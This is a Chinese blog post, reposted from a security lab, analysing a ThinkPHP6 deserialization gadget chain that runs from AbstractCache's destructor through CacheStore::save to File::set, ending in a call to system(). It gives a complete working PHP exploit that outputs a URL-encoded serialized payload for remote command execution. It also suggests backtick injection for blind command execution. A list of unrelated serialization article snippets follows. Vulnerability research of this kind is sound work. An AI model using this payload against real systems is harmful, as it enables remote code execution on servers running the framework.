thinkphp6的另反序列化分析
本文首发于“合天网安实验室”转载请注明出处!
你是否正在收集各类网安网安知识学习,合天网安实验室为你总结了1300+网安技能任你学,点击获取免费靶场
知识点实操概要
实操探寻ThinkPHP5远程命令执行漏洞形成原因,各种姿势利用方法。
链接指路:
ThinkPHP5远程命令执行漏洞
点击链接马上体验
Forward
之前分析过tp6的一个链;当时是利用__toString方法去进行的中转,从而实现前后两个链的链接,这次是两个另外链条;利用的是可控类下的固定方法进行中转;开始分析;
首先环境可以composer一键搭建,然后php think run进行跑起来就可;
text
首先的想法就是利用析构函数进行最开始的触发;然后一路追踪魔法函数去进行一步一步的推导;首先找到魔法函数在AbstractCache类下;
protected $autosave = true;
public function __destruct()
{
if (! $this-autosave) {
$this-save();
}
}
protected $autosave = true;
public function __destruct()
{
if (! $this-autosave) {
$this-save();
}
}
其代码如上;可以看到autosave可以可控;这里我们可以手动给其复制为false;从而可以触发save方法;
回溯save方法;在CacheStore中找到了save方法;具体代码如下;
public function save()
{
$contents = $this-getForStorage();
$this-store-set($this-key, $contents, $this-expire);
}
可以看到其调用了getForStorage方法,然后将其赋值给$contents变量。这里追随一下这个方法;
public function getForStorage()
{
$cleaned = $this-cleanContents($this-cache);
return json_encode([$cleaned, $this-complete]);
}
发现首先调用了cleanContents方法;然后在调用了json_encode方法,这里首先回溯一下cleanContents方法;
public function cleanContents(array $contents)
{
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
'md5',
]);
foreach ($contents as $path = $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
首先在这里看到了array_flip方法;这个方法是将数组的键名和键值进行替换;然后数组赋值给$cachedProperties变量;然后将我们传入的参数按照$path和$object的格式来进行各个遍历;然后将键名经过is_array方法的判断如果为true则进行后续的函数处理;否则就直接return $content这个数组;经过这一系列操作完之后,最终是return到了save函数里;然后接着去进行 $this-store-set($this-key, $contents, $this-expire);这里我们发现store也可控;那么就有两种思路,第一个就是去实例化一个有set方法的类,或者我们实例化一个存在__call方法的类;从而可以因为访问不存在的方法去调用到call魔术方法;这里我们先找到一个有set方法的类;在File类中找到:
public function set($name, $value, $expire = null): bool
{
$this-writeTimes++;
if (is_null($expire)) {
$expire = $this-options['expire'];
}
$expire = $this-getExpireTime($expire);
$filename = $this-getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this-serialize($value);
if ($this-options['data_compress'] function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "php\n//" . sprintf('%012d', $expire) . "\n exit();\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
clearstatcache();
return true;
}
return false;
}
这里可利用点在后面的serialize方法;直接追溯一下;
protected function serialize($data): string
{
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this-options['serialize'][0] "serialize";
return $serialize($data);
}
这里发现options参量可控;这里就存在一个问题,如果我们将其赋值为system,那么后续return的就是我们命令执行函数,里面的data我们是可以传入的,那么我们就可以实现RCE;
这里放出我自己写的exp;
php
#bash回显;网页不回显;
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = [];
protected $cache = ['`id`'];
}
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $store;
protected $key;
public function __construct($store,$key,$expire)
{
$this-key = $key;
$this-store = $store;
$this-expire = $expire;
}
}
}
namespace think\cache{
abstract class Driver{
}
}
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver
{
protected $options = [
'expire' = 0,
'cache_subdir' = false,
'prefix' = false,
'path' = 's1mple',
'hash_type' = 'md5',
'serialize' = ['system'],
];
}
}
namespace{
$b = new think\cache\driver\File();
$a = new think\filesystem\CacheStore($b,'s1mple','1111');
echo urlencode(serialize($a));
}
最后达到的效果就是system(xxxx);这里当时我测试没有回显,后来将代码调试了一下,发现是system里面参数的问题,后来我想到linux或者unix下反引号也是可以当做命令执行的,而且是可以首先执行的;所以我将代码改了下,嵌入反引号,这样可以更好的进行命令执行,但是这样的缺点就是可以执行,但是无回显;但是我们依然可以进行一些恶意操作
thinkphp6的另反序列化分析 相关文章
二叉树的序列化与反序列化问题
二叉树的序列化与反序列化问题 二叉树题目其实就是那几种遍历方式:前序,后序,中序,层级遍历 二叉树的序列化和反序列化为例: leet297: 「二叉树的序列化与反序列化」就是给你输入一棵二叉树的根节点 root ,要求你实现如下一个类: public class Codec {
django文档总结之DRF、序列化(5)
序列化与反序列化 一种对于数据的操作,将数据进行格式转换 序列化操作 :将python类型转换成json 反序列化操作 :将json转换成python类型 DRF 提供的功能: 1.序列化 2.视图 3.路由 1 安装DRF: pip install djangorestframework 2 添加rest_framework应用:
Serializing a Collection of Java Records into a JSON Array 序列化一个 set java 集合为JSON 数组格式
引用自 https://adambien.blog/roller/abien/entry/serializing_a_collection_of_java A collection (Set) of Java Record instances: 用于存入 set 集合的对象有两个参数一个 是 text ,一个是 uri public record Link(String text, String uri) {} 使用 JS
【转】带有function的JSON对象的序列化与还原
JSON对象的序列化与反序列化相信大家都很熟悉了。基本的api是JSON.parse与JSON.stringify. var json={ uiModule:'http://www.a.com', login:'true', mainSubjectId:3004, happydays:100, happyhours:1, userCount :200, itemCount:1000000, type:'all', main
.net JavaScriptSerializer反序列化漏洞
net中的javascriptserializer 在.NET处理 Ajax应用的时候,通常序列化功能由JavaScriptSerializer类提供,它是.NET2.0之后内部实现的序列化功能的类,位于命名空间System.Web.Script.Serialization、通过System.Web.Extensions引用,让开发者轻松实现.Net中
django-关联字段序列化及校验
from rest_framework import serializersfrom rest_framework.validators import UniqueValidatorfrom .models import Projectsfrom interfaces.models import Interfacesclass OneInterfaceSerilizer(serializers.Serializer): id = serializers.IntegerFie
pikachu-php反序列化
php反序列化介绍: 在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。 序列化serialize() 序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象: class S{ public $test="pikachu"; } $s=new S(); //创建一个对
python测试开发django-rest-framework-94.序列化(ModelSerializer)之嵌套对象
前言 前面一篇在查询我的收藏的时候,只显示了商品的id和收藏状态,并没有显示商品的详情。如果我们想查询的结果显示商品的详情,需关联到商品表。 嵌套对象 我们在查询的时候,希望能显示商品的详情 于是可以在序列化的时候嵌套 from .models import Goods,
python测试开发django-rest-framework-93.反序列化(ModelSerializer)之UniqueTogetherValidator联合唯一校验
前言 前面添加商品,商品code只能添加一次可以用唯一字段校验UniqueValidator,如果用户收藏商品,一个用户可以收藏多个商品,一个商品也可以被多个人收藏。 但是同一个人针对同一个商品,只能收藏一次,于是可以用UniqueTogetherValidator联合唯一校验 收藏
java反序列化demo
1、代码 Info.java //创建一个info类,该类引用接口Serializable,该类可以序列化和反序列化 引用了Serializable接口时,会在类内寻找writeObject(readObject)方法,如果重写了该方法则使用重写后的, 如果未重写,则使用默认的 关键函数resolveClass(),